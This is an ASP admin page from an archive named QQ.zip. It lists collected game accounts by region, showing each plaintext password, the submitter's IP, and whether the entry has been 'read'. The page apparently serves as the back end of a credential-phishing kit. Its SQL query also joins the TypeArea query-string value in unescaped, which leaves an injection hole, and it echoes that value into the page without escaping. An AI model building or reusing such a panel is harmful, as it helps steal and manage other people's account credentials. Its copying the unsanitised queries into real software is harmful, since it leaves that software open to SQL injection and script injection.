www.pudn.com > QQ.zip > UserList.asp, change:2009-07-11,size:10391b


<!--#include file="conn.asp"--> 
<% 
  if session("admin")="" then 
    Response.Write("<script>alert('用户未登录,请登录!');top.location='../admin.asp';</script>") 
	Response.end 
  end if 
   
  quanxian = Session("login_quanxian") 
  TypeArea = request.QueryString("TypeArea") 
   
  if Request.querystring("PageNo")="" then 
     PageNo=1 
  else 
     PageNo=clng(Request.querystring("PageNo")) 
  end if 
   
  set rs=server.createobject("adodb.recordset") 
   
   
  if session("admin")<>"admin" then 
	  sql="select * from name where area = '"& quanxian &"' order by createtime desc" 
  else 
  	  if TypeArea="" then 
		  sql="select * from name order by createtime desc" 
	  else 
		  sql="select * from name where area = '"& TypeArea &"' order by createtime desc" 
	  end if 
 
  end if 
   
  rs.open sql,conn,1,1 
%> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<title>无标题文档</title> 
<style type="text/css"> 
	td{ 
	border:#666666 1px solid; 
	} 
</style> 
</head> 
<script language="javascript"> 
  function mySelectAll() 
  { 
     if(document.all.SelectAll.checked==true) 
	 { 
	   if(document.all.IDList!=null) 
	   { 
			if(document.all.IDList.length==null) 
			{ 
				document.all.IDList.checked=true; 
			}else{ 
				for(i=0;i<document.all.IDList.length;i++) 
				{ 
				   document.all.IDList[i].checked=true; 
				} 
			} 
	    
	   } 
	 }else{ 
	   if(document.all.IDList!=null) 
	   { 
			if(document.all.IDList.length==null) 
			{ 
				document.all.IDList.checked=false; 
			}else{ 
				for(i=0;i<document.all.IDList.length;i++) 
				{ 
				   document.all.IDList[i].checked=false; 
				} 
			} 
	    
	   } 
	 } 
   
  } 
</script> 
<body> 
<table width="100%"  border="0" style="font-size:12px;background-color:#FFFFFF;" cellpadding="0" cellspacing="0"> 
  <form name="form1" method="post" action="ActionUser.asp"> 
    <input type="hidden" name="Action"> 
    <tr> 
      <td colspan="10"> <table width="100%"  border="0" style="font-size:12px" cellpadding="0" cellspacing="0"> 
        <tr> 
         
          <td width="24%" align="center" valign="middle" height="26">游戏帐号管理</td> 
          <td width="76%" style="color:#FF0000;"> 
		   
		  	<% 
				if session("admin")="admin" then 
					if TypeArea<>""  then 
						response.Write TypeArea & "帐号信息" 
					end if 
			%> 
<select class="AreaList" id="quanxian" name="quanxian" style="font-size: 12px;" onChange="location='?TypeArea='+this.value"> 
				<option value="">请选择区查询</option> 
				<option value="">所有区域帐号</option> 
				   
              <OPTION value=--电信区-->--电信区--</OPTION> 
              <OPTION value=西北1区>西北1区</OPTION> 
              <OPTION value=西北2区>西北2区</OPTION> 
              <OPTION value=四川1区>四川1区</OPTION> 
              <OPTION value=四川2区>四川2区</OPTION> 
              <OPTION value=四川3区>四川3区</OPTION> 
              <OPTION value=四川4区>四川4区</OPTION> 
              <OPTION value=广东1区>广东1区</OPTION> 
              <OPTION value=广东2区>广东2区</OPTION> 
              <OPTION value=广东3区>广东3区</OPTION> 
              <OPTION value=广东4区>广东4区</OPTION> 
              <OPTION value=广东5区>广东5区</OPTION> 
              <OPTION value=广东6区>广东6区</OPTION> 
              <OPTION value=广东7区>广东7区</OPTION> 
              <OPTION value=广州1区>广州1区</OPTION> 
              <OPTION value=湖北1区>湖北1区</OPTION> 
              <OPTION value=湖北2区>湖北2区</OPTION> 
              <OPTION value=湖北3区>湖北3区</OPTION> 
              <OPTION value=湖北4区>湖北4区</OPTION> 
              <OPTION value=湖北5区>湖北5区</OPTION> 
              <OPTION value=上海1区>上海1区</OPTION> 
              <OPTION value=上海2区>上海2区</OPTION> 
              <OPTION value=上海3区>上海3区</OPTION> 
              <OPTION value=西南1区>西南1区</OPTION> 
              <OPTION value=西南2区>西南2区</OPTION> 
              <OPTION value=重庆1区>重庆1区</OPTION> 
              <OPTION value=重庆2区>重庆2区</OPTION> 
              <OPTION value=广西1区>广西1区</OPTION> 
              <OPTION value=广西2区>广西2区</OPTION> 
              <OPTION value=湖南1区>湖南1区</OPTION> 
              <OPTION value=湖南2区>湖南2区</OPTION> 
              <OPTION value=湖南3区>湖南3区</OPTION> 
              <OPTION value=湖南4区>湖南4区</OPTION> 
              <OPTION value=湖南5区>湖南5区</OPTION> 
              <OPTION value=江苏1区>江苏1区</OPTION> 
              <OPTION value=江苏2区>江苏2区</OPTION> 
              <OPTION value=江苏3区>江苏3区</OPTION> 
              <OPTION value=江苏4区>江苏4区</OPTION> 
              <OPTION value=陕西1区>陕西1区</OPTION> 
              <OPTION value=陕西2区>陕西2区</OPTION> 
              <OPTION value=山西1区>山西1区</OPTION> 
              <OPTION value=山西2区>山西2区</OPTION> 
              <OPTION value=福建1区>福建1区</OPTION> 
              <OPTION value=福建2区>福建2区</OPTION> 
              <OPTION value=安徽1区>安徽1区</OPTION> 
              <OPTION value=安徽2区>安徽2区</OPTION> 
              <OPTION value=浙江1区>浙江1区</OPTION> 
              <OPTION value=浙江2区>浙江2区</OPTION> 
              <OPTION value=浙江3区>浙江3区</OPTION> 
              <OPTION value=--网通区-->--网通区--</OPTION> 
              <OPTION value=华北1区>华北1区</OPTION> 
              <OPTION value=华北2区>华北2区</OPTION> 
              <OPTION value=华北3区>华北3区</OPTION> 
              <OPTION value=东北1区>东北1区</OPTION> 
              <OPTION value=东北2区>东北2区</OPTION> 
              <OPTION value=东北3区>东北3区</OPTION> 
              <OPTION value=辽宁1区>辽宁1区</OPTION> 
              <OPTION value=辽宁2区>辽宁2区</OPTION> 
              <OPTION value=辽宁3区>辽宁3区</OPTION> 
              <OPTION value=黑龙江1区>黑龙江1区</OPTION> 
              <OPTION value=黑龙江2区>黑龙江2区</OPTION> 
              <OPTION value=山东1区>山东1区</OPTION> 
              <OPTION value=山东2区>山东2区</OPTION> 
              <OPTION value=山东3区>山东3区</OPTION> 
              <OPTION value=山东4区>山东4区</OPTION> 
              <OPTION value=山东5区>山东5区</OPTION> 
              <OPTION value=河北1区>河北1区</OPTION> 
              <OPTION value=河北2区>河北2区</OPTION> 
              <OPTION value=北京1区>北京1区</OPTION> 
              <OPTION value=北京2区>北京2区</OPTION> 
              <OPTION value=北京3区>北京3区</OPTION> 
              <OPTION value=吉林1区>吉林1区</OPTION> 
              <OPTION value=吉林2区>吉林2区</OPTION> 
              <OPTION value=河南1区>河南1区</OPTION> 
              <OPTION value=河南2区>河南2区</OPTION> 
              <OPTION value=河南3区>河南3区</OPTION> 
              <OPTION value=河南4区>河南4区</OPTION> 
              <OPTION value=河南5区>河南5区</OPTION> 
              <OPTION value=山西1区>山西1区</OPTION> 
</select> 
			<% 
				else 
					response.Write "您管理的游戏区域为:" & quanxian 
				end if 
			%> 
			    <a href="" onClick="if(confirm('你确定要删除这些帐号吗?')){document.all.Action.value='DelSome';document.form1.submit();}return false;">删除全部帐号</a> 
		  </td> 
        </tr> 
      </table></td> 
    </tr> 
    <tr> 
      <td width="4%" height="26"><div align="center"> 
        <input name="SelectAll" type="checkbox" id="SelectAll" value="1" onClick="mySelectAll()"> 
      </div></td> 
      <td width="6%"><div align="center">ID</div></td> 
      <td width="14%"><div align="center">游戏帐号</div></td> 
      <td width="11%"><div align="center">密码</div></td> 
      <td width="12%"><div align="center">区域</div></td> 
      <td width="8%"><div align="center">帐号状态</div></td> 
      <td width="10%"><div align="center">等级</div></td> 
      <td width="16%"><div align="center">时间</div></td> 
      <td width="10%"><div align="center">IP地址</div></td> 
      <td width="9%"><div align="center">操作</div></td> 
    </tr> 
    <% 
  if rs.recordcount=0 then 
	  %> 
    <tr> 
      <td colspan=9 height="30" valign="middle" align="left">  没有任何帐号</td> 
    </tr> 
    <% 
  else 
      rs.pagesize=14 
	  if PageNo<1 then 
	     PageNo=1 
	  end if 
	  if PageNo>rs.pagecount then 
	     PageNo=rs.pagecount 
	  end if 
	  rs.absolutepage=PageNo 
	  i=0 
	  do while i<rs.pagesize and not rs.eof 
		  %> 
    <tr> 
      <td align="center" valign="middle" height="25"><input name="IDList" type="checkbox" id="IDList" value="<%=rs("id")%>"></td> 
      <td align="center" valign="middle"><%=rs("id")%></td> 
      <td align="center" valign="middle"><%=rs("username")%></td> 
      <td align="center" valign="middle"><%=rs("PWD")%></td> 
      <td align="center" valign="middle"><%=rs("area")%></td> 
      <td align="center" valign="middle"><% if rs("isread")=true then%> 
        已查阅 
          <%else%> 
        <span style="color:#FF0000;">未查阅</span> 
        <%end if%></td> 
      <td align="center" valign="middle"><%=rs("jb")%></td> 
      <td align="center" valign="middle"><%=rs("createtime")%></td> 
      <td align="center" valign="middle"><a href="http://www.ip138.com/ips.asp?ip=<%=rs("IP")%>" target="_blank"><%=rs("IP")%></a></td> 
      <td align="center" valign="middle"><a href="ModiUser.asp?id=<%=rs("id")%>&TypeArea=<%=TypeArea%>">修改</a>   <a href="DelUser.asp?id=<%=rs("id")%>&TypeArea=<%=TypeArea%>" onClick="if(confirm('你确定要删除该用户吗?')){return true;}else{return false;}">删除</a></td> 
    </tr> 
    <% 
		  rs.movenext 
		  i=i+1 
	  loop 
  end if 
  %> 
    <tr> 
      <td colspan="10"><div align="right">帐号总数: <%=rs.recordcount%> 条 当前页:<%=PageNo%>/<%=rs.pagecount%> 页大小:<%=rs.pagesize%> <a href="?PageNo=1&TypeArea=<%=TypeArea%>">首页</a> <a href="?PageNo=<%=PageNo-1%>&TypeArea=<%=TypeArea%>">上页</a> <a href="?PageNo=<%=PageNo+1%>&TypeArea=<%=TypeArea%>">下页</a> <a href="?PageNo=<%=rs.pagecount%>&TypeArea=<%=TypeArea%>">末页</a> 
              <input name="goPage" type="text" id="goPage" size="2" value="<%=PageNo%>" maxlength="6"> 
              <input type="button" name="Submit" value="GO" onClick="location='?PageNo='+document.all.goPage.value+'&TypeArea=<%=TypeArea%>';"> 
      </div></td> 
    </tr> 
    <% 
	rs.close 
	%> 
  </form> 
</table> 
</body> 
</html>